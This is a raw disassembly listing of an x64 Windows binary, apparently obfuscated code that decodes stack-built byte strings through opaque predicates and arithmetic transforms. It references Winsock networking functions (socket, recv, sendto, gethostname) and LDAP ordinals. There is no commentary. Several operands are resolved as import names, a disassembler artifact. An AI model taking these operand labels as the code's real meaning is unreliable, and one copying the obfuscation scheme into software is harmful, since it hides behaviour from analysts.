jne 0x14007741f
movabs rcx, 0xc5683ab9c5efd90d
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x5b
jmp 0x140077769
inc rax
cmp r8, rax
jne 0x140077455
movabs rcx, 0x3d73aa4de49a0073
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x25
inc r9
dec rsi
inc rsi
jmp 0x140076e02
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140077493
movabs rcx, 0x1da1689e5f429e0b
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x4d
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140076e02
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400774c4
movabs rdx, 0x95acd8327decc571
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x17
add r10b, dl
jmp 0x140077675
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400771cd
movabs rcx, 0x85c3b75abb41143d
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x55
movzx eax, byte [rbp + rsi + 0xae8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140076e02
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077544
movabs rcx, 0xb1e04e4d07ea76bc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x24
movzx eax, byte [rbp + rsi + 0xae8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140076e02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077570
movabs rdx, 0xa1f72d75453ec588
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007766f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007759d
movabs rcx, 0xa197c31a13d3bba
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x16
jmp 0x1400777dd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400775d5
movabs rdx, 0x8224ebc5bfe76320
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
dec rsi
inc rsi
jmp 0x140076e02
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140077141
movabs rcx, 0x723bcaedfd3bb1ec
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x74
jmp 0x140077769
mov byte [rbp + rsi + 0xae8], cl
movzx r10d, cl
inc rsi
jmp 0x140076e02
movabs rdx, 0x6252aa163a9000b8
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx r10d, byte [rbp + rsi + 0xae8]
sub r10b, al
sub r10b, 8
add r10b, dl
add r10b, dil
jmp 0x1400777dd
movabs rdx, 0xda5e19aa593a281e
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rsi + 0xae8]
add r10b, dl
add r10b, dil
movabs rdx, 0x1663d174688f3bd1
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x49
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xae8], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x14007786e
movabs rcx, 0x24deffc855f60045
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x1d
movzx eax, byte [rbp + rsi + 0xae8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140076e02
movabs rcx, 0x44b14177db4d62ad
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x45
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140076e02
movabs rcx, 0x549a624f9df913e1
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x27
dec rsi
inc rsi
jmp 0x140076e02
movabs rdx, 0x6483832760a4c515
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x6d
add r10b, dl
movabs rcx, 0x264cf24c2b3aed05
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 0x23
add dil, cl
mov byte [rbp + rsi + 0xae8], dil
inc r9
dec rsi
inc rsi
jmp 0x140076e02
lea rcx, [rsi + r11]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x35
inc r9
dec rsi
inc rsi
jmp 0x140076e02
lea rdx, [rsi + rbx]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x5f
add r10b, dl
movabs rcx, 0x9e5861e049e5146b
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x13
add cl, r10b
add cl, dil
mov byte [rbp + rsi + 0xae8], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140076e02
movabs rcx, 0x1c33761a89fdb14b
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0xd
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140076e02
movabs rcx, 0x2c1c96f24ca9627f
add rcx, rsi
and dl, cl
add dl, dl
movzx r10d, dil
sub r10b, dl
sub r10b, 0x79
add r10b, cl
movabs rdx, 0x5269893e77e44f84
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0xae8], cl
inc r8
mov rax, r15
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xae8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140076e02
movabs rcx, 0xb411275e2dff3b19
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x51
movzx eax, byte [rbp + rsi + 0xae8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140076e02
movabs rcx, 0x2ef87bf9f7333bff
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 7
jmp 0x140076dfe
movabs rcx, 0xb6ed0c65d8891499
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x2f
jmp 0x140076de7
lea rcx, [rbp + 0x169472c]
jmp 0x14007794f
lea rcx, [rbp + 0x17e5adf]
jmp 0x14007794f
lea rcx, [rbp + 0xae8]
mov rdx, r14
call fcn.140035b50
lea rdx, [0x140236dd0]
lea rcx, [rbp + 0x480]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov rsi, rax
mov byte [rbp + 0xb10], __WSAFDIsSet
mov byte [rbp + 0xb11], 0xa5
mov byte [rbp + 0xb12], 0xab
mov byte [rbp + 0xb13], 0xbc
mov byte [rbp + 0xb14], 0xa5
mov byte [rbp + 0xb15], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb16], xmm0
mov qword [rbp + 0xb26], rax
mov dword [rbp + 0xb2e], eax
mov byte [rbp + 0xb32], al
movabs r14, 0x8c4d1fcf54099f52
movabs r12, 0x5784959944a136ee
movabs r13, 0xb7dec354c2b8adda
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rdx, 0x4fd2e92240f4448a
cmp rdi, 0x23
jae 0x14007883c
movzx ebx, byte [rbp + rdi + 0xb10]
mov r10, rbx
cmp r8, rdi
ja 0x140078833
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140077a5d
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x3a
jmp 0x140077ab0
je 0x1400787aa
inc rax
cmp r8, rax
je 0x14007873a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400786e5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400786ac
lea rax, [r9 + 4]
cmp r8, rax
je 0x140078671
lea rax, [r9 + 5]
cmp r8, rax
je 0x140078616
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400785bf
cmp r9, rdi
ja 0x14007882a
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140077ad9
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x140077b30
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400785ae
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007859a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140078562
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007853f
lea rax, [r9 + 6]
cmp r8, rax
je 0x140078517
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400784e3
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400780c0
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007809d
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007806c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140078043
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007801b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140077fe5
lea rax, [r9 + 4]
cmp r8, rax
je 0x140077fad
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140077f8a
lea rax, [r9 + 9]
cmp r8, rax
je 0x140077f62
lea r8, [r9 + 0x200]
lea r9, [r8 + 6]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140078807
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400787df
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140077ce1
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140077cc2
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140077ca3
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140077f06
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140077ea6
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140077e56
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x64]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140077e1d
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140077dfa
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140077dd2
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140077d9f
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140077d8b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140077d68
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140077d3a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140077d0e
lea r8, [r9 + 3]
lea r9, [r8 + 9]
jmp 0x140077b40
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077b30
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077ab0
movabs rcx, 0x1838f11040d024c6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
movabs rdx, 0x4fd2e92240f4448a
jmp 0x140077a2e
movabs rcx, 0xc2c32c361e64717c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
inc r9
dec rdi
inc rdi
jmp 0x140077a12
movabs rdx, 0x231d59f19c7be868
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140077a12
movabs rcx, 0x837787ad1a935f54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x140078634
movabs rdx, 0xe3d1b56898aad640
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140078680
movabs rcx, 0x442be32416c24d2c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
movabs rdx, 0xa48610df94d9c418
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078706
movabs rcx, 0x4e03e9b12f13b04
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x140078762
movabs rdx, 0x653a6c569108b1f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077a12
movabs rcx, 0x36760c66ca5ad22a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
cmp r9, 0x10
jb 0x140078474
movabs rcx, 0xce08e3a5e1534efc
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400785e2
movabs rdx, 0x96d03a2248724916
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x200
jae 0x140078484
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14007832a
movabs rcx, 0x918eacf8ce3df434
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x140077e74
movabs rcx, 0xf72a67ddc689c002
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400784b3
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140078201
movabs rcx, 0x5418d297a3454e2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x140077ec9
movabs rdx, 0xaa28ec97765132d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078762
movabs rcx, 0xa831a52f468a9c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x140078706
movabs rdx, 0x6add480e728020b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
movabs rcx, 0xcb3775c9f097979c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
movabs rdx, 0x2b91a3856eaf0e88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078634
movabs rcx, 0x8bebd140ecc68574
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x140077a12
movabs rdx, 0xec45fefc6addfc60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140077a12
movabs rcx, 0x4ca02cb7e8f5734c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x1400785e2
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400780f1
movabs rdx, 0x4fd2e92240f4448a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077f24
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007812e
movabs rcx, 0x189a3f9ea8133ea4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi + 0xb10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077a12
inc rax
cmp r8, rax
jne 0x14007815d
movabs rdx, 0xb84011e329fbc7b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x140078762
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007818e
movabs rdx, 0x57e5e427abe450cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078706
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400781ab
movabs rdx, 0x973188b0afb562f4
mov ecx, Ordinal_45
jmp 0x140078680
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400781e0
movabs rcx, 0x7622ff7e356efe30
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x140077a12
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140077f24
movabs rdx, 0x15c8d1c2b7578744
mov ecx, reloc.WS2_32.dll_select
jmp 0x1400785ce
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007821e
movabs rdx, 0xa4e75f6dfc1cddf6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x1400785ce
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078255
movabs rdx, 0xe43303f6ffedf01e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140077a12
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140078281
movabs rcx, 0x83d8d63b81d67932
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x140078634
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400782bd
movabs rcx, 0xc3247ac485a78b5a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400782e9
movabs rcx, 0x62ca4d090790146e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
jmp 0x140078706
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140077ec9
movabs rcx, 0xa215f1920b612696
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1a
movzx eax, byte [rbp + rdi + 0xb10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077a12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007836c
movabs rdx, 0x31347f3d50267d48
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077a12
inc rax
cmp r8, rax
jne 0x140078397
movabs rcx, 0x708023c653f78f70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140078706
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400783c5
movabs rdx, 0x1025f60ad5e01884
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400786cd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140078404
movabs rcx, 0xafcbc84f57c8a198
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140078436
movabs rcx, 0xef176cd85b99b3c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140077a12
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140077e74
movabs rdx, 0x8ebd3f1cdd823cd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140077a12
mov byte [rbp + rdi + 0xb10], r11b
inc rdi
jmp 0x140077a12
movabs rdx, 0x6daeb5ea633bd810
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xb10]
sub r11b, al
sub r11b, 0x70
add r11b, dl
add r11b, bl
jmp 0x140078634
movabs rdx, 0xd54882ee5246124
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xb10]
add r11b, dl
add r11b, bl
jmp 0x140078706
movabs rcx, 0x29218437e5367106
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
movzx eax, byte [rbp + rdi + 0xb10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077a12
movabs rdx, 0x897bb1f3634de7f2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078762
movabs rcx, 0xe9d5dfaee1655ede
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x12
jmp 0x140078706
movabs rdx, 0x4a300d6a5f7cd5ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
movabs rdx, 0xaa8a3b25dd944cb6
mov ecx, 3
jmp 0x140078680
movabs rdx, 0x2bf2f213d5f22866
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1400785ce
movabs rdx, 0xeca74d8ad221163e
mov ecx, Ordinal_41
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x1ddbccc822479386
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xb10], cl
inc r9
dec rdi
inc rdi
jmp 0x140077a12
movabs rcx, 0xdb5d6bd4c677b02
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
movabs rcx, 0xbd819f0ca4301c9a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x36
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0xb10], bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
movabs rdx, 0x6e100478ca7ef1ee
mov ecx, 0x3f
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
movabs rdx, 0xce6a3234489668da
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077a12
mov rbx, r10
movabs rax, 0x2ec45fefc6addfc6
add rax, rdi
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rbx + rax]
sub r11b, 0x6a
movabs rdx, 0x5d2771512618a5ae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xb10], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140078762
movabs rdx, 0x8f1e8dab44c556b2
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx ebx, r10b
movabs rdx, 0xacfa5a73670cea38
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xb10], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xb10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077a12
movabs rcx, 0xef78bb66c2dccd9e
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x52
movzx eax, byte [rbp + rdi + 0xb10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077a12
movabs rdx, 0x78931ecbbee79bb2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077a0e
movabs rcx, 0xd8ed4c873cff129e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
jmp 0x1400779f1
lea rcx, [rbp + 0x15e17c8]
jmp 0x140078843
lea rcx, [rbp + 0x1125c52]
jmp 0x140078843
lea rcx, [rbp + 0xb10]
mov rdx, rsi
call fcn.140035b50
lea rdx, [0x140236cb0]
lea rcx, [rbp + 0x4a0]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0xb38], Ordinal_211
mov byte [rbp + 0xb39], 0xf3
mov byte [rbp + 0xb3a], Ordinal_200
mov byte [rbp + 0xb3b], Ordinal_200
mov byte [rbp + 0xb3c], Ordinal_211
mov byte [rbp + 0xb3d], Ordinal_200
mov byte [rbp + 0xb3e], 0xf2
mov byte [rbp + 0xb3f], Ordinal_211
mov byte [rbp + 0xb40], Ordinal_200
mov byte [rbp + 0xb41], Ordinal_200
mov byte [rbp + 0xb42], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb43], xmm0
mov qword [rbp + 0xb53], rax
movabs rsi, 0x467a6006c3a970f0
movabs r14, 0x4ddc0bbdbf1b00d0
movabs r12, 0x630cf690ad371110
movabs r13, 0xf0a310fc73d6db0
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140079370
movzx r11d, byte [rbp + rbx + 0xb38]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140079367
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007896c
lea rcx, [rbx + r14]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x50
jmp 0x1400789a5
je 0x140079305
inc rax
cmp r8, rax
je 0x1400792d2
lea rax, [r9 + 5]
cmp r8, rax
je 0x140079296
lea rax, [r9 + 7]
cmp r8, rax
